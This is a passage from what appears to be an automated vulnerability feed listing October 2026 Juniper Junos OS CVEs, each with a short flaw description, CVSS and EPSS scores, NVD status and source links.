NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33795&date=2026-10-25
A Numeric Truncation Error vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network-based attacker to cause a denial of service via a BGP Prefix-SID route advertisement that is subsequently re-advertised.

This issue does not affect versions of Junos OS prior to 20.4R1.
This issue does not affect versions of Junos OS Evolved prior to 20.4R1-EVO

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured external BGP neighbor to...
https://kevwire.com/record/CVE-2026-33796
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured external BGP neighbor to... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured external BGP neighbor to execute arbitrary commands with root privileges via BMP route monitoring.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33796).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33796&date=2026-10-25).
Sources:
NVD CVE-2026-33796: https://nvd.nist.gov/vuln/detail/CVE-2026-33796
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33796&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured external BGP neighbor to execute arbitrary commands with root privileges via BMP route monitoring.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an L2-adjacent attacker to execute arbitrary...
https://kevwire.com/record/CVE-2026-33798
A Stack-based Buffer Overflow vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an L2-adjacent attacker to execute arbitrary... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an L2-adjacent attacker to execute arbitrary code as root via high-availability fabric traffic.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33798).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33798&date=2026-10-25).
Sources:
NVD CVE-2026-33798: https://nvd.nist.gov/vuln/detail/CVE-2026-33798
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33798&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an L2-adjacent attacker to execute arbitrary code as root via high-availability fabric traffic.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an adjacent network attacker to cause a denial of service of the data...
https://kevwire.com/record/CVE-2026-101936
A Reachable Assertion vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an adjacent network attacker to cause a denial of service of the data... (Oct 14, 2026).
A Reachable Assertion vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an adjacent network attacker to cause a denial of service of the data plane via malformed firewall-authentication synchronization traffic on chassis-cluster fabric interfaces.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101936).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101936&date=2026-10-25).
Sources:
NVD CVE-2026-101936: https://nvd.nist.gov/vuln/detail/CVE-2026-101936
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101936&date=2026-10-25
A Reachable Assertion vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an adjacent network attacker to cause a denial of service of the data plane via malformed firewall-authentication synchronization traffic on chassis-cluster fabric interfaces.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Signed to Unsigned Conversion Error vulnerability in the srxpfe of Juniper Networks Junos OS on the SRX Series allows an adjacent attacker to cause a denial of service of the...
https://kevwire.com/record/CVE-2026-101937
A Signed to Unsigned Conversion Error vulnerability in the srxpfe of Juniper Networks Junos OS on the SRX Series allows an adjacent attacker to cause a denial of service of the... (Oct 14, 2026).
A Signed to Unsigned Conversion Error vulnerability in the srxpfe of Juniper Networks Junos OS on the SRX Series allows an adjacent attacker to cause a denial of service of the data plane via chassis-cluster fabric traffic.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101937).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101937&date=2026-10-25).
Sources:
NVD CVE-2026-101937: https://nvd.nist.gov/vuln/detail/CVE-2026-101937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101937&date=2026-10-25
A Signed to Unsigned Conversion Error vulnerability in the srxpfe of Juniper Networks Junos OS on the SRX Series allows an adjacent attacker to cause a denial of service of the data plane via chassis-cluster fabric traffic.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Integer Underflow (Wrap or Wraparound) vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an adjacent unauthenticated...
https://kevwire.com/record/CVE-2026-101938
An Integer Underflow (Wrap or Wraparound) vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an adjacent unauthenticated... (Oct 14, 2026).
An Integer Underflow (Wrap or Wraparound) vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an adjacent unauthenticated attacker to cause a forwarding-plane denial of service via an ICMP message associated with an SVR carrier session.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101938).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101938&date=2026-10-25).
Sources:
NVD CVE-2026-101938: https://nvd.nist.gov/vuln/detail/CVE-2026-101938
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101938&date=2026-10-25
An Integer Underflow (Wrap or Wraparound) vulnerability in the srxpfe of Juniper Networks Junos OS and Junos OS Evolved on the SRX Series allows an adjacent unauthenticated attacker to cause a forwarding-plane denial of service via an ICMP message associated with an SVR carrier session.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause a...
https://kevwire.com/record/CVE-2026-101948
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause a... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause a denial of service via a specific BGP FlowSpec update received by an affected BGP session.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101948).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101948&date=2026-10-25).
Sources:
NVD CVE-2026-101948: https://nvd.nist.gov/vuln/detail/CVE-2026-101948
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101948&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause a denial of service via a specific BGP FlowSpec update received by an affected BGP session.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated remote BGP neighbor to...
https://kevwire.com/record/CVE-2026-101949
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated remote BGP neighbor to... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated remote BGP neighbor to cause a denial of service via a VPN-flowspec BGP update if it is readvertised and BMP post-policy RIB-out monitoring is configured.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101949).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101949&date=2026-10-25).
Sources:
NVD CVE-2026-101949: https://nvd.nist.gov/vuln/detail/CVE-2026-101949
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101949&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated remote BGP neighbor to cause a denial of service via a VPN-flowspec BGP update if it is readvertised and BMP post-policy RIB-out monitoring is configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent...
https://kevwire.com/record/CVE-2026-101951
An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent... (Oct 14, 2026).
An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent configured BGP peer to cause a denial of service by sending a specifically malformed BGP MCAST-TREE update and this NLRI is then attempted to be readvertised.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101951).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101951&date=2026-10-25).
Sources:
NVD CVE-2026-101951: https://nvd.nist.gov/vuln/detail/CVE-2026-101951
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101951&date=2026-10-25
An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent configured BGP peer to cause a denial of service by sending a specifically malformed BGP MCAST-TREE update and this NLRI is then attempted to be readvertised.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause an rpd crash via...
https://kevwire.com/record/CVE-2026-101957
An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause an rpd crash via... (Oct 14, 2026).
An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause an rpd crash via an LLGR-stale route update readvertised to a configured non-LLGR peer group.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101957).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101957&date=2026-10-25).
Sources:
NVD CVE-2026-101957: https://nvd.nist.gov/vuln/detail/CVE-2026-101957
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101957&date=2026-10-25
An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause an rpd crash via an LLGR-stale route update readvertised to a configured non-LLGR peer group.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Function Call With Incorrect Variable or Reference as Argument vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an...
https://kevwire.com/record/CVE-2026-101959
A Function Call With Incorrect Variable or Reference as Argument vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an... (Oct 14, 2026).
A Function Call With Incorrect Variable or Reference as Argument vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause an rpd crash via specifically malformed LSP-ping.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101959).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101959&date=2026-10-25).
Sources:
NVD CVE-2026-101959: https://nvd.nist.gov/vuln/detail/CVE-2026-101959
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101959&date=2026-10-25
A Function Call With Incorrect Variable or Reference as Argument vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause an rpd crash via specifically malformed LSP-ping.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on QFX5240, QFX5241 and QFX5250 configured for BGP...
https://kevwire.com/record/CVE-2026-101960
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on QFX5240, QFX5241 and QFX5250 configured for BGP... (Oct 14, 2026).
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on QFX5240, QFX5241 and QFX5250 configured for BGP global-load-balancing and more than 128 ecmp next-hops allows an attacker to cause an rpd crash.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101960).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101960&date=2026-10-25).
Sources:
NVD CVE-2026-101960: https://nvd.nist.gov/vuln/detail/CVE-2026-101960
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101960&date=2026-10-25
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on QFX5240, QFX5241 and QFX5250 configured for BGP global-load-balancing and more than 128 ecmp next-hops allows an attacker to cause an rpd crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing-policy nexthop-ECMP matcher of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a...
https://kevwire.com/record/CVE-2026-101961
A NULL Pointer Dereference vulnerability in the routing-policy nexthop-ECMP matcher of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing-policy nexthop-ECMP matcher of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a routing-daemon denial of service via a specific BGP packet received while a nexthop-ecmp qualifier is attached to a BGP import policy.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101961).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101961&date=2026-10-25).
Sources:
NVD CVE-2026-101961: https://nvd.nist.gov/vuln/detail/CVE-2026-101961
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101961&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing-policy nexthop-ECMP matcher of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a routing-daemon denial of service via a specific BGP packet received while a nexthop-ecmp qualifier is attached to a BGP import policy.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker...
https://kevwire.com/record/CVE-2026-101962
An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker... (Oct 14, 2026).
An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker sending a specifically malformed BGP EVPN multicast update which is attempted to be readvertised to cause an rpd crash.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101962).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101962&date=2026-10-25).
Sources:
NVD CVE-2026-101962: https://nvd.nist.gov/vuln/detail/CVE-2026-101962
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101962&date=2026-10-25
An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker sending a specifically malformed BGP EVPN multicast update which is attempted to be readvertised to cause an rpd crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Incorrect Calculation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos EVO allows a remote BGP EVPN neighbor to cause an rpd crash when...
https://kevwire.com/record/CVE-2026-101963
An Incorrect Calculation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos EVO allows a remote BGP EVPN neighbor to cause an rpd crash when... (Oct 14, 2026).
An Incorrect Calculation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos EVO allows a remote BGP EVPN neighbor to cause an rpd crash when SRv6 EVPN multihoming is configured.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101963).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101963&date=2026-10-25).
Sources:
NVD CVE-2026-101963: https://nvd.nist.gov/vuln/detail/CVE-2026-101963
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101963&date=2026-10-25
An Incorrect Calculation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos EVO allows a remote BGP EVPN neighbor to cause an rpd crash when SRv6 EVPN multihoming is configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause an rpd crash via a...
https://kevwire.com/record/CVE-2026-101964
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause an rpd crash via a... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause an rpd crash via a crafted LDP packet received over an established LDP session.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101964).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101964&date=2026-10-25).
Sources:
NVD CVE-2026-101964: https://nvd.nist.gov/vuln/detail/CVE-2026-101964
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101964&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause an rpd crash via a crafted LDP packet received over an established LDP session.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Use of Externally-Controlled Format String vulnerability in the jti-dialoutd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause persistent...
https://kevwire.com/record/CVE-2026-101966
A Use of Externally-Controlled Format String vulnerability in the jti-dialoutd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause persistent... (Oct 14, 2026).
A Use of Externally-Controlled Format String vulnerability in the jti-dialoutd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause persistent telemetry dial-out denial of service via a crafted analytics sensor resource submitted through gNMI listener.
CVSS 8.8 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101966).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101966&date=2026-10-25).
Sources:
NVD CVE-2026-101966: https://nvd.nist.gov/vuln/detail/CVE-2026-101966
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101966&date=2026-10-25
A Use of Externally-Controlled Format String vulnerability in the jti-dialoutd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause persistent telemetry dial-out denial of service via a crafted analytics sensor resource submitted through gNMI listener.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Input Validation vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-101969
An Improper Input Validation vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of... (Oct 14, 2026).
An Improper Input Validation vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a malformed PIM Hello message received on an IPv6-enabled PIM interface.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101969).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101969&date=2026-10-25).
Sources:
NVD CVE-2026-101969: https://nvd.nist.gov/vuln/detail/CVE-2026-101969
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101969&date=2026-10-25
An Improper Input Validation vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a malformed PIM Hello message received on an IPv6-enabled PIM interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Use After Free vulnerability in the rpd PIM Join/Prune processing of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to...
https://kevwire.com/record/CVE-2026-101970
A Use After Free vulnerability in the rpd PIM Join/Prune processing of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to... (Oct 14, 2026).
A Use After Free vulnerability in the rpd PIM Join/Prune processing of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to crash the routing daemon via specific PIM messages when sparse mode PIM is configured.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101970).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101970&date=2026-10-25).
Sources:
NVD CVE-2026-101970: https://nvd.nist.gov/vuln/detail/CVE-2026-101970
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101970&date=2026-10-25
A Use After Free vulnerability in the rpd PIM Join/Prune processing of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to crash the routing daemon via specific PIM messages when sparse mode PIM is configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
